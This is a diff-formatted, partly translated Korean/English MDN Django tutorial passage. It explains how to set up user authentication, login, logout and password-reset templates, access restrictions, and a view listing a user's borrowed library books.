+<p class="summary">이 튜토리얼에서는, 당신의 사이트에 그들의 계정으로 로그인을 어떻게 허락할 것인지, 그리고 그들의 로그인 여부와 그들에게 허가한 퍼미션에 따라서 사이트에서 무엇을 할 수 있게 하거나, 볼 수 있게 할 것인지에 대해서 알려줄 것입니다. 또한 예시의 일부분으로, 우리는 이 LocalLibrary website를 확장시켜서, 로그인, 로그아웃 페이지를 덧붙이고, 사용자와 staff들이 그들이 빌려간 책들을 볼 수 있는 특별한 페이지들도 추가할 것입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행학습:</th>
+   <td>앞의 모든 튜토리얼을 모두 끝내세요.  up to and including <a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>사용자 인증과 허가를 어떻게 셋업하고, 이용하는 지에 대해 이해하기</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>Django는 인증과 권위 부여 ("허가") 시스템을 제공합니다. 이것은 <a href="/en-US/docs/Learn/Server-side/Django/Sessions">previous tutorial</a> 에서 논의된 session framework에서 찾아볼 수 있는데, 사용자의 credentials을 검증하고 사용자들이 행동들의 허가 여부를 정의합니다. 이 프레임워크는 <code>Users</code> 와 <code>Groups</code> (한 번에 한 명 이상의 유저에게 허가를 적용하는 일반적인 방법)을 위한 빌트인 모델을 포함하는데, permissions/flags는 that designate whether 사용자들이 일이나 , forms, 로그인 한 유저들의 뷰, 그리고 컨텐츠를 제한하는 뷰 툴을 조정합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Django의 인증시스템은 매우 일반적인 것을 목표로하기 때문에, 다른 웹사이트 인증시스템에서 제공하는 특정한 기능들을 제공하지 않습니다. 이런 문제에 대한 해결방법은 서드파티 솔루션을 이용하는 것입니다. 예를 들면, 로그인 시도 제한과 제3자에 대한 인증(e.g.OAuth)과 같은 기능들은 제공하지 않습니다.</p>
+</div>
+
+<p>이 튜토리얼에서 우리는 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> website안에서의 유저 인증을 어떻게 활성화하는지 보여주고, 당신의 로그인, 로그아웃 페이지를 만들며 당신의 모델과 페이지에 대한 권한 및 그 조정에 대해서 살펴볼 것입니다. 우리는 인증과 허가(권한)을 사용해서 사용자나 사서가 빌린 책들을 표시할 것입니다.</p>
+
+<p>이 인증시스템은 매우 유연하므로 당신이 원한다면 단지 제공된 로그인  API를 호출하는 것만으로 scratch에서 온 당신의 URLs, forms, views와 templates를 작성할 수 있습니다. 그렇지만, 이 단계에서는 Django가 "보유한" 인증 views와 forms를 이용하여 우리의 로그인과 로그아웃페이지를 만들 것입니다. 우리는 여전히 어떤 템플릿들을 만들어야 합니다. 그러나, 이것들은 꽤 쉽습니다.</p>
+
+<p>우리는 어떻게 퍼미션을 만드는지, 그리고 로그인 상태와 퍼미션을 views와 templates에서 어떻게 체크하는지에 대해서도 보여줄 것입니다.</p>
+
+<h2 id="인증하도록_하기">인증하도록 하기</h2>
+
+<p>Authentication은 우리가 이미 <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">skeleton website</a> 을 생성했을 때 (in tutorial 2) 자동적으로 생서되었으므로 이 점에서는 할 것이 없습니다..</p>
+
+<div class="note">
+<p><strong>Note</strong>: 설정을 위해 필요한 것들은 모두 django-admin startproject 명령을 이용하여 앱을 생성했을 때 끝났습니다. 사용자들과 모델 퍼미션을 위한 데이터베이스 테이블들은 우리가 처음으로 python manage.py migrate을 실행했을 때 만들어졌습니다.</p>
+</div>
+
+<p>아래에서 보여주는 것과 같이, 설정은 settings.py파일에서 INSTALLED_APPS과 MIDDLEWARE 부분을 셋업하는 것입니다.</p>
+
+<pre class="brush: python notranslate">INSTALLED_APPS = [
+    ...
+<strong>    'django.contrib.auth',  </strong>#Core authentication framework and its default models.
+<strong>    'django.contrib.contenttypes',  #</strong>Django content type system (allows permissions to be associated with models).
+    ....
+
+MIDDLEWARE = [
+    ...
+<strong>    'django.contrib.sessions.middleware.SessionMiddleware',</strong>  #Manages sessions across requests
+    ...
+<strong>    'django.contrib.auth.middleware.AuthenticationMiddleware',</strong>  #Associates users with requests using sessions.
+    ....
+</pre>
+
+<h2 id="users와_groups_만들기">users와 groups 만들기</h2>
+
+<p><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django admin site</a>를 tutorial 4에서 봤을 때 이미 당신은 첫번째 유저를 만들었습니다. 이는 슈퍼유저로서 <code>python manage.py createsuperuser</code>라는 명령으로 만들었죠. 우리의 슈퍼 유저는 이미 인증이 되어있고 모든 허가 권한을 가지고 있으므로, 우리는 일반적인 사이트 유저를 대표하는 테스트 유저를 만들 것입니다. 우리의 <em>locallibrary</em> groups과 website logins을 위해서 우리는 admin 사이트를 이용할 것인데, 이것이 가장 빠른 방법 중에 하나입니다.</p>
+
+<div class="note">
+<p>Note: 당신은 아래에서 보여주는 것처럼 프로그램적으로 사용자를 추가할 수 있습니다. 만약에 사용자가 로그인하는 사이트를 개발한다면, 당신은 이것을 해야합니다. (사용자들이 admin site를 접근하게 해서는 안됩니다.)</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.models import User
+
+# Create user and save to the database
+user = User.objects.create_user('myusername', 'myemail@crazymail.com', 'mypassword')
+
+# Update fields and then save again
+user.first_name = 'John'
+user.last_name = 'Citizen'
+user.save()
+</pre>
+</div>
+
+<p>아래에서 우리는 첫번째 그룹과 그 그룹의 사용자를 만들 것입니다. 아직까지는 우리의 도서관 멤버로서 아무런 퍼미션도 부여하지는 않습니다.  그러나 나중에 필요하다면, 개인들에게 각각 하는 것보다는 그룹에 한번에 하는 것이 휠씬 쉬운 일입니다.</p>
+
+<p>개발서버를 시작하고, 웹브라우저를 통해 admin site(<a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin/</a>)에 접속하십시오. 그리고 당신의 superuser 계정으로 로그인하십시오. admin site의 최상위 단계에서는 "Django application"에 의해 소트된 당신의 모델들이 있습니다. Authentication and Authorisation 섹션에 있는 Users or Groups 링크를 클릭하여 현재의 등록된 기록들을 볼 수 있습니다.</p>
+
+<p><img alt="Admin site - add groups or users" src="https://mdn.mozillademos.org/files/14091/admin_authentication_add.png" style="border-style: solid; border-width: 1px; display: block; height: 364px; margin: 0px auto; width: 661px;"></p>
+
+<p>첫번째로 우리 도서관 멤버를 위한 새 그룹을 만듭시다.</p>
+
+<ol>
+ <li>Add버튼(Group 다음에 있는)을 클릭하여 새 그룹을 만듭니다; "Library Members"라는 이름을 넣으세요.</li>
+</ol>
+
+<p><img alt="Admin site - add group" src="https://mdn.mozillademos.org/files/14093/admin_authentication_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 561px; margin: 0px auto; width: 800px;"></p>
+
+
+
+<ol>
+ <li>우리는 그룹을 위한 어떠한 권한도 필요하지 않습니다. 그러므로 <strong>SAVE </strong>를 누르세요. (you will be taken to a list of groups).</li>
+</ol>
+
+
+
+<p>자 이제 사용자(user)를 만들어봅시다 :</p>
+
+<ol>
+ <li>admin 사이트의 홈페이지로 돌아가주세요.</li>
+ <li>Users 옆 <strong>Add</strong> 버튼을 클릭하여 user dialog를 열어줍니다.<img alt="Admin site - add user pt1" src="https://mdn.mozillademos.org/files/14095/admin_authentication_add_user_prt1.png" style="border-style: solid; border-width: 1px; display: block; height: 409px; margin: 0px auto; width: 800px;"></li>
+ <li>당신의 테스트 사용자(user)를 위해 적절한 사용자이름(<strong>Username)</strong> 과 비밀번호(<strong>Password</strong>/<strong>Password confirmation)</strong> 를 입력해주세요.</li>
+ <li>사용자(user)를 만들기 위해<strong> SAVE</strong> 를 눌러줍시다.<br>
+  <br>
+  관리자 사이트는 새로운 유저를 만들고, <strong>username</strong>을 바꿀 수 있고 유저모델의 선택 필드에 정보를 추가할 수 있는 <em>Change user화면으로 즉각 당신에게 보여줄 것입니다. 이 필드들은 이름, 성, 이메일 주소, 유저 상태 및 권한 (오직 </em><strong>Active </strong>표시만 가능합니다)를 포함합니다. 더 밑으로 내려가면 당신의 그룹과 권한 유저와 관련된 중요한 날짜들(예를 들어 가입일과 마지막 로그인 날짜)을 기입할 수 있습니다. <img alt="Admin site - add user pt2" src="https://mdn.mozillademos.org/files/14097/admin_authentication_add_user_prt2.png" style="border-style: solid; border-width: 1px; display: block; height: 635px; margin: 0px auto; width: 800px;"></li>
+ <li>그룹 섹션에서, Available groups목록에서 <strong>Library Member</strong> 를 선택하고두 박스 사이에 있는<strong> 오른쪽 화살표</strong>를 누르면 Chosen groups box로 이동이 될 거에요<img alt="Admin site - add user to group" src="https://mdn.mozillademos.org/files/14099/admin_authentication_user_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 414px; margin: 0px auto; width: 933px;"></li>
+ <li>여기서는 아무것도 필요치 않습니다, 그저 <strong>SAVE</strong> 를 선택하고, 유저 목록으로 가십시오.</li>
+</ol>
+
+<p>다됬습니다! 이제 당신은 테스트를 위해 사용할 수 있는 "normal library member"  계정을 갖게 되었습니다(이들이 로그인할 수 있도록 페이지를 만들 때 말이죠).</p>
+
+<div class="note">
+<p><strong>Note</strong>: 다른 도서관 유저 만들기를 시도해보아야 합니다. 또한 사서들을 위한 그룹을 만들고 유저를 추가해보세요!</p>
+</div>
+
+<h2 id="authentication_views_세팅하기">authentication views 세팅하기</h2>
+
+<p>Django는 authentication pages에서 login, log out, and password 조정을 위한 거의 모든 것을 제공해 줍니다. "out of the box". 이것은 URL mapper, views와 forms들을 포함하지만 templates은 포함하지 않습니다 — 우리가 만들어야 하죠!</p>
+
+<p>여기서, 우리는 기본 시스템들에 LocalLibrary를 통합하고, template들을 만들 수 있는 지를 볼 거에요.그리고 이것들을 프로젝트 메인 URL들에 넣을 것입니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 어떤 코드도 사용하지 않으셔도 되지만, 아마 스스로 원할 가능성이 높아요. 더 쉽게 해주거든요. 만약 user model을 바꾸고자 한다면, form을 다루는 코드를 바꾸게 될 가능성이 아주 높아요. (앞으로 나올 주제에요!) 그렇다고 하더라도, stock view 함수들은 사용할 수 있어야 합니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note: </strong>이 경우에, catalog application에 URL과 템플릿을 포함해서 인authentication page들을 넣는게 합리적입니다. 그러나 많은 application들을 가지고 있다면, 공통적으로 로그인 해야하는 것을 분리하고 사이트 전체에서 로그인하는 것을 가능하게끔하는 게 좋을겁니다. 이게 우리가 여기서 볼려고하는 것이죠!</p>
+</div>
+
+<h3 id="Project_URLs">Project URLs</h3>
+
+<p> (<strong>locallibrary/locallibrary/urls.py</strong>) 파일에 다음 코드를 추가해주세요:</p>
+
+<pre class="brush: python notranslate">#Add Django site authentication urls (for login, logout, password management)
+urlpatterns += [
+    path('accounts/', include('django.contrib.auth.urls')),
+]
+</pre>
+
+<p>이 URL( <a href="http://127.0.0.1:8000/accounts/">http://127.0.0.1:8000/accounts/</a>)로 접속하세요.  URL ('/'의 연결에 주의하세요!) 그러면 장고는 이 URL을 찾을 수 없기 때문에 에러메세지를 보여줄겁니다. 그리고 그 URL들을 어디에서 찾았는지 시도했던 모든 리스트들도 보여줍니다. 이것으로부터 당신은 예를들면, 어떤 URL들이 작동되는지 볼 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note: </strong>Using the above method adds the following URLs with names in square brackets, which can be used to reverse the URL mappings. You don't have to implement anything else — the above URL mapping automatically maps the below mentioned URLs.</p>
+</div>
+
+<div class="note">
+<pre class="brush: python notranslate">accounts/ login/ [name='login']
+accounts/ logout/ [name='logout']
+accounts/ password_change/ [name='password_change']
+accounts/ password_change/done/ [name='password_change_done']
+accounts/ password_reset/ [name='password_reset']
+accounts/ password_reset/done/ [name='password_reset_done']
+accounts/ reset/&lt;uidb64&gt;/&lt;token&gt;/ [name='password_reset_confirm']
+accounts/ reset/done/ [name='password_reset_complete']</pre>
+</div>
+
+<p>Now try to navigate to the login URL (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>). This will fail again, but with an error that tells you that we're missing the required template (<strong>registration/login.html</strong>) on the template search path. You'll see the following lines listed in the yellow section up the top:</p>
+
+<pre class="brush: python notranslate">Exception Type:    TemplateDoesNotExist
+Exception Value:    <strong>registration/login.html</strong></pre>
+
+<p>The next step is to create a registration directory on the search path and then add the <strong>login.html</strong> file.</p>
+
+<h3 id="Template_directory">Template directory</h3>
+
+<p>The URLs (and implicitly views) that we just added expect to find their associated templates in a directory <strong>/registration/</strong> somewhere in the templates search path.</p>
+
+<p>For this site, we'll put our HTML pages in the <strong>templates/registration/</strong> directory. This directory should be in your project root directory, i.e the same directory as the <strong>catalog</strong> and <strong>locallibrary</strong> folders). Please create these folders now.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Your folder structure should now look like the below:<br>
+ locallibrary (Django project folder)<br>
+    |_catalog<br>
+    |_locallibrary<br>
+    |_templates <strong>(new)</strong><br>
+                 |_registration</p>
+</div>
+
+<p>To make these directories visible to the template loader (i.e. to put this directory in the template search path) open the project settings (<strong>/locallibrary/locallibrary/settings.py</strong>), and update the <code>TEMPLATES</code> section's <code>'DIRS'</code> line as shown.</p>
+
+<pre class="brush: python notranslate">TEMPLATES = [
+    {
+        ...
+<strong>        'DIRS': ['./templates',],</strong>
+        'APP_DIRS': True,
+        ...
+</pre>
+
+<h3 id="Login_template">Login template</h3>
+
+<div class="warning">
+<p><strong>Important</strong>: The authentication templates provided in this article are a very basic/slightly modified version of the Django demonstration login templates. You may need to customise them for your own use!</p>
+</div>
+
+<p>Create a new HTML file called /<strong>locallibrary/templates/registration/login.html</strong>. give it the following contents:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+
+{% if form.errors %}
+  &lt;p&gt;Your username and password didn't match. Please try again.&lt;/p&gt;
+{% endif %}
+
+{% if next %}
+  {% if user.is_authenticated %}
+    &lt;p&gt;Your account doesn't have access to this page. To proceed,
+    please login with an account that has access.&lt;/p&gt;
+  {% else %}
+    &lt;p&gt;Please login to see this page.&lt;/p&gt;
+  {% endif %}
+{% endif %}
+
+&lt;form method="post" action="{% url 'login' %}"&gt;
+{% csrf_token %}
+
+&lt;div&gt;
+  &lt;td&gt;\{{ form.username.label_tag }}&lt;/td&gt;
+  &lt;td&gt;\{{ form.username }}&lt;/td&gt;
+&lt;/div&gt;
+&lt;div&gt;
+  &lt;td&gt;\{{ form.password.label_tag }}&lt;/td&gt;
+  &lt;td&gt;\{{ form.password }}&lt;/td&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;input type="submit" value="login" /&gt;
+  &lt;input type="hidden" name="next" value="\{{ next }}" /&gt;
+&lt;/div&gt;
+&lt;/form&gt;
+
+{# Assumes you setup the password_reset view in your URLconf #}
+&lt;p&gt;&lt;a href="{% url 'password_reset' %}"&gt;Lost password?&lt;/a&gt;&lt;/p&gt;
+
+{% endblock %}</pre>
+
+<p id="sect1">This template shares some similarities with the ones we've seen before — it extends our base template and overrides the <code>content</code> block. The rest of the code is fairly standard form handling code, which we will discuss in a later tutorial. All you need to know for now is that this will display a form in which you can enter your username and password and that if you enter invalid values you will be prompted to enter correct values when the page refreshes.</p>
+
+<p>Navigate back to the login page (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>) once you've saved your template, and you should see something like this:</p>
+
+<p><img alt="Library login page v1" src="https://mdn.mozillademos.org/files/14101/library_login.png" style="border-style: solid; border-width: 1px; display: block; height: 173px; margin: 0px auto; width: 441px;"></p>
+
+<p>If you try to log in that will succeed and you'll be redirected to another page (by default this will be <a href="http://127.0.0.1:8000/accounts/profile/">http://127.0.0.1:8000/accounts/profile/</a>). The problem here is that by default Django expects that after login you will want to be taken to a profile page, which may or may not be the case. As you haven't defined this page yet, you'll get another error!</p>
+
+<p>Open the project settings (<strong>/locallibrary/locallibrary/settings.py</strong>) and add the text below to the bottom. Now when you log in you should be redirected to the site homepage by default.</p>
+
+<pre class="brush: python notranslate"># Redirect to home URL after login (Default redirects to /accounts/profile/)
+LOGIN_REDIRECT_URL = '/'
+</pre>
+
+<h3 id="Logout_template">Logout template</h3>
+
+<p>If you navigate to the logout URL (<a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a>) then you'll see some odd behaviour — your user will be logged out sure enough, but you'll be taken to the <strong>Admin</strong> logout page. That's not what you want, if only because the login link on that page takes you to the Admin login screen (and that is only available to users who have the <code>is_staff</code> permission).</p>
+
+<p>Create and open /<strong>locallibrary/templates/registration/logged_out.html</strong>. Copy in the text below:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;p&gt;Logged out!&lt;/p&gt;
+  &lt;a href="{% url 'login'%}"&gt;Click here to login again.&lt;/a&gt;
+{% endblock %}</pre>
+
+<p>This template is very simple. It just displays a message informing you that you have been logged out, and provides a link that you can press to go back to the login screen. If you go to the logout URL again you should see this page:</p>
+
+<p><img alt="Library logout page v1" src="https://mdn.mozillademos.org/files/14103/library_logout.png" style="border-style: solid; border-width: 1px; display: block; height: 169px; margin: 0px auto; width: 385px;"></p>
+
+<h3 id="Password_reset_templates">Password reset templates</h3>
+
+<p>The default password reset system uses email to send the user a reset link. You need to create forms to get the user's email address, send the email, allow them to enter a new password, and to note when the whole process is complete.</p>
+
+<p>The following templates can be used as a starting point.</p>
+
+<h4 id="Password_reset_form">Password reset form</h4>
+
+<p>This is the form used to get the user's email address (for sending the password reset email). Create <strong>/locallibrary/templates/registration/password_reset_form.html</strong>, and give it the following contents:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;form action="" method="post"&gt;
+  {% csrf_token %}
+  {% if form.email.errors %}
+    \{{ form.email.errors }}
+  {% endif %}
+      &lt;p&gt;\{{ form.email }}&lt;/p&gt;
+    &lt;input type="submit" class="btn btn-default btn-lg" value="Reset password"&gt;
+  &lt;/form&gt;
+{% endblock %}
+</pre>
+
+<h4 id="Password_reset_done">Password reset done</h4>
+
+<p>This form is displayed after your email address has been collected. Create <strong>/locallibrary/templates/registration/password_reset_done.html</strong>, and give it the following contents:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;p&gt;We've emailed you instructions for setting your password. If they haven't arrived in a few minutes, check your spam folder.&lt;/p&gt;
+{% endblock %}
+</pre>
+
+<h4 id="Password_reset_email">Password reset email</h4>
+
+<p>This template provides the text of the HTML email containing the reset link that we will send to users. Create <strong>/locallibrary/templates/registration/password_reset_email.html</strong>, and give it the following contents:</p>
+
+<pre class="brush: html notranslate">Someone asked for password reset for email \{{ email }}. Follow the link below:
+\{{ protocol}}://\{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %}
+</pre>
+
+<h4 id="Password_reset_confirm">Password reset confirm</h4>
+
+<p>This page is where you enter your new password after clicking the link in the password reset email. Create <strong>/locallibrary/templates/registration/password_reset_confirm.html</strong>, and give it the following contents:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+    {% if validlink %}
+        &lt;p&gt;Please enter (and confirm) your new password.&lt;/p&gt;
+        &lt;form action="" method="post"&gt;
+        {% csrf_token %}
+            &lt;table&gt;
+                &lt;tr&gt;
+                    &lt;td&gt;\{{ form.new_password1.errors }}
+                        &lt;label for="id_new_password1"&gt;New password:&lt;/label&gt;&lt;/td&gt;
+                    &lt;td&gt;\{{ form.new_password1 }}&lt;/td&gt;
+                &lt;/tr&gt;
+                &lt;tr&gt;
+                    &lt;td&gt;\{{ form.new_password2.errors }}
+                        &lt;label for="id_new_password2"&gt;Confirm password:&lt;/label&gt;&lt;/td&gt;
+                    &lt;td&gt;\{{ form.new_password2 }}&lt;/td&gt;
+                &lt;/tr&gt;
+                &lt;tr&gt;
+                    &lt;td&gt;&lt;/td&gt;
+                    &lt;td&gt;&lt;input type="submit" value="Change my password" /&gt;&lt;/td&gt;
+                &lt;/tr&gt;
+            &lt;/table&gt;
+        &lt;/form&gt;
+    {% else %}
+        &lt;h1&gt;Password reset failed&lt;/h1&gt;
+        &lt;p&gt;The password reset link was invalid, possibly because it has already been used. Please request a new password reset.&lt;/p&gt;
+    {% endif %}
+{% endblock %}
+</pre>
+
+<h4 id="Password_reset_complete">Password reset complete</h4>
+
+<p>This is the last password-reset template, which is displayed to notify you when the password reset has succeeded. Create <strong>/locallibrary/templates/registration/password_reset_complete.html</strong>, and give it the following contents:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;The password has been changed!&lt;/h1&gt;
+  &lt;p&gt;&lt;a href="{% url 'login' %}"&gt;log in again?&lt;/a&gt;&lt;/p&gt;
+{% endblock %}</pre>
+
+<h3 id="Testing_the_new_authentication_pages">Testing the new authentication pages</h3>
+
+<p>Now that you've added the URL configuration and created all these templates, the authentication pages should now just work!</p>
+
+<p>You can test the new authentication pages by attempting to log in and then logout your superuser account using these URLs:</p>
+
+<ul>
+ <li><a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a></li>
+ <li><a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a></li>
+</ul>
+
+<p>You'll be able to test the password reset functionality from the link in the login page. <strong>Be aware that Django will only send reset emails to addresses (users) that are already stored in its database!</strong></p>
+
+<div class="note">
+<p><strong>Note</strong>: The password reset system requires that your website supports email, which is beyond the scope of this article, so this part <strong>won't work yet</strong>. To allow testing, put the following line at the end of your settings.py file. This logs any emails sent to the console (so you can copy the password reset link from the console).</p>
+
+<pre class="brush: python notranslate">EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
+</pre>
+
+<p>For more information, see <a href="https://docs.djangoproject.com/en/2.0/topics/email/">Sending email</a> (Django docs).</p>
+</div>
+
+<h2 id="authenticated_users_테스트_하기">authenticated users 테스트 하기</h2>
+
+<p>This section looks at what we can do to selectively control content the user sees based on whether they are logged in or not.</p>
+
+<h3 id="Testing_in_templates">Testing in templates</h3>
+
+<p>당신은 템플릿에서 <code>\{{ user }}</code> 라는 템플릿 변수로 현재 로그인한 사용자에 대한 정보를 얻을 수 있습니다  (이것은 우리의 스켈레톤을 만들때 프로젝트에서 세팅했을 때 템플릿 컨텍스트의 기본 값으로 추가된 것입니다).</p>
+
+<p>보통 처음으로 <code>\{{ user.is_authenticated }}</code> 라는 템플릿 변수를 통해서 당신은  사용자가 특정 내용을 볼 수 있는 지여부에 대해서 테스트하게 될 것입니다. 이를 시험하기 위해서, 우리는 사이트바에 로그인와 로그아웃 링크를 업데이트 할 것입니다.</p>
+
+<p>Open the base template (<strong>/locallibrary/catalog/templates/base_generic.html</strong>) and copy the following text into the <code>sidebar</code> block, immediately before the <code>endblock</code> template tag.</p>
+
+<pre class="brush: html notranslate">  &lt;ul class="sidebar-nav"&gt;
+
+    ...
+
+   <strong>{% if user.is_authenticated %}</strong>
+     &lt;li&gt;User: <strong>\{{ user.get_username }}</strong>&lt;/li&gt;
+     &lt;li&gt;&lt;a href="{% url 'logout'%}?next=\{{request.path}}"&gt;Logout&lt;/a&gt;&lt;/li&gt;
+   <strong>{% else %}</strong>
+     &lt;li&gt;&lt;a href="{% url 'login'%}?next=\{{request.path}}"&gt;Login&lt;/a&gt;&lt;/li&gt;
+   <strong>{% endif %} </strong>
+  &lt;/ul&gt;</pre>
+
+<p>As you can see, we use <code>if</code>-<code>else</code>-<code>endif</code> template tags to conditionally display text based on whether <code>\{{ user.is_authenticated }}</code> is true. If the user is authenticated then we know that we have a valid user, so we call <strong>\{{ user.get_username }} </strong>to display their name.</p>
+
+<p>We create the login and logout link URLs using the <code>url</code> template tag and the names of the respective URL configurations. Note also how we have appended <code>?next=\{{request.path}}</code> to the end of the URLs. What this does is add a URL parameter <font face="Consolas, Liberation Mono, Courier, monospace">next</font> containing the address (URL) of the <em>current</em> page, to the end of the linked URL. After the user has successfully logged in/out, the views will use this "<code>next</code>" value to redirect the user back to the page where they first clicked the login/logout link.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Try it out! If you're on the home page and you click Login/Logout in the sidebar, then after the operation completes you should end up back on the same page.</p>
+</div>
+
+<h3 id="Testing_in_views">Testing in views</h3>
+
+<p>If you're using function-based views, the easiest way to restrict access to your functions is to apply the <code>login_required</code> decorator to your view function, as shown below. If the user is logged in then your view code will execute as normal. If the user is not logged in, this will redirect to the login URL defined in the project settings (<code>settings.LOGIN_URL</code>), passing the current absolute path as the <code>next</code> URL parameter. If the user succeeds in logging in then they will be returned back to this page, but this time authenticated.</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.decorators import login_required
+
+@login_required
+def my_view(request):
+    ...</pre>
+
+<div class="note">
+<p><strong>Note:</strong> You can do the same sort of thing manually by testing on <code>request.user.is_authenticated</code>, but the decorator is much more convenient!</p>
+</div>
+
+<p>Similarly, the easiest way to restrict access to logged-in users in your class-based views is to derive from <code>LoginRequiredMixin</code>. You need to declare this mixin first in the superclass list, before the main view class.</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin
+
+class MyView(LoginRequiredMixin, View):
+    ...</pre>
+
+<p>This has exactly the same redirect behaviour as the <code>login_required</code> decorator. You can also specify an alternative location to redirect the user to if they are not authenticated (<code>login_url</code>), and a URL parameter name instead of "<code>next</code>" to insert the current absolute path (<code>redirect_field_name</code>).</p>
+
+<pre class="brush: python notranslate">class MyView(LoginRequiredMixin, View):
+    login_url = '/login/'
+    redirect_field_name = 'redirect_to'
+</pre>
+
+<p>For additional detail, check out the <a href="https://docs.djangoproject.com/en/2.0/topics/auth/default/#limiting-access-to-logged-in-users">Django docs here</a>.</p>
+
+<h2 id="Example_—_listing_the_current_users_books">Example — listing the current user's books</h2>
+
+<p>Now that we know how to restrict a page to a particular user, let's create a view of the books that the current user has borrowed.</p>
+
+<p>Unfortunately, we don't yet have any way for users to borrow books! So before we can create the book list we'll first extend the <code>BookInstance</code> model to support the concept of borrowing and use the Django Admin application to loan a number of books to our test user.</p>
+
+<h3 id="Models">Models</h3>
+
+<p>First, we're going to have to make it possible for users to have a <code>BookInstance</code> on loan (we already have a <code>status</code> and a <code>due_back</code> date, but we don't yet have any association between this model and a User. We'll create one using a <code>ForeignKey</code> (one-to-many) field. We also need an easy mechanism to test whether a loaned book is overdue.</p>
+
+<p>Open <strong>catalog/models.py</strong>, and import the <code>User</code> model from <code>django.contrib.auth.models</code> (add this just below the previous import line at the top of the file, so <code>User</code> is available to subsequent code that makes use of it):</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.models import User
+</pre>
+
+<p>Next, add the <code>borrower</code> field to the <code>BookInstance</code> model:</p>
+
+<pre class="brush: python notranslate">borrower = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True)
+</pre>
+
+<p>While we're here, let's add a property that we can call from our templates to tell if a particular book instance is overdue. While we could calculate this in the template itself, using a <a href="https://docs.python.org/3/library/functions.html#property">property</a> as shown below will be much more efficient.</p>
+
+<p>Add this somewhere near the top of the file:</p>
+
+<pre class="brush: python notranslate">from datetime import date</pre>
+
+<p class="brush: python">Now add the following property definition to the <code>BookInstance</code> class:</p>
+
+<pre class="brush: python notranslate">@property
+def is_overdue(self):
+    if self.due_back and date.today() &gt; self.due_back:
+        return True
+    return False</pre>
+
+<div class="note">
+<p><strong>Note</strong>: We first verify whether <code>due_back</code> is empty before making a comparison. An empty <code>due_back</code> field would cause Django to throw an error instead of showing the page: empty values are not comparable. This is not something we would want our users to experience!</p>
+</div>
+
+<p>Now that we've updated our models, we'll need to make fresh migrations on the project and then apply those migrations:</p>
+
+<pre class="brush: bash notranslate">python3 manage.py makemigrations
+python3 manage.py migrate
+</pre>
+
+<h3 id="Admin">Admin</h3>
+
+<p>Now open <strong>catalog/admin.py</strong>, and add the <code>borrower</code> field to the <code>BookInstanceAdmin</code> class in both the <code>list_display</code> and the <code>fieldsets</code> as shown below. This will make the field visible in the Admin section so that we can assign a <code>User</code> to a <code>BookInstance</code> when needed.</p>
+
+<pre class="brush: python notranslate">@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    list_display = ('book', 'status'<strong>, 'borrower'</strong>, 'due_back', 'id')
+    list_filter = ('status', 'due_back')
+
+    fieldsets = (
+        (None, {
+            'fields': ('book','imprint', 'id')
+        }),
+        ('Availability', {
+            'fields': ('status', 'due_back'<strong>,'borrower'</strong>)
+        }),
+    )</pre>
+
+<h3 id="Loan_a_few_books">Loan a few books</h3>
+
+<p>Now that its possible to loan books to a specific user, go and loan out a number of <code>BookInstance</code> records. Set their <code>borrowed</code> field to your test user, make the <code>status</code> "On loan" and set due dates both in the future and the past.</p>
+
+<div class="note">
+<p><strong>Note</strong>: We won't spell the process out, as you already know how to use the Admin site!</p>
+</div>
+
+<h3 id="On_loan_view">On loan view</h3>
+
+<p>Now we'll add a view for getting the list of all books that have been loaned to the current user. We'll use the same generic class-based list view we're familiar with, but this time we'll also import and derive from <code>LoginRequiredMixin</code>, so that only a logged in user can call this view. We will also choose to declare a <code>template_name</code>, rather than using the default, because we may end up having a few different lists of BookInstance records, with different views and templates.</p>
+
+<p>Add the following to catalog/views.py:</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin
+
+class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
+    """Generic class-based view listing books on loan to current user."""
+    model = BookInstance
+    template_name ='catalog/bookinstance_list_borrowed_user.html'
+    paginate_by = 10
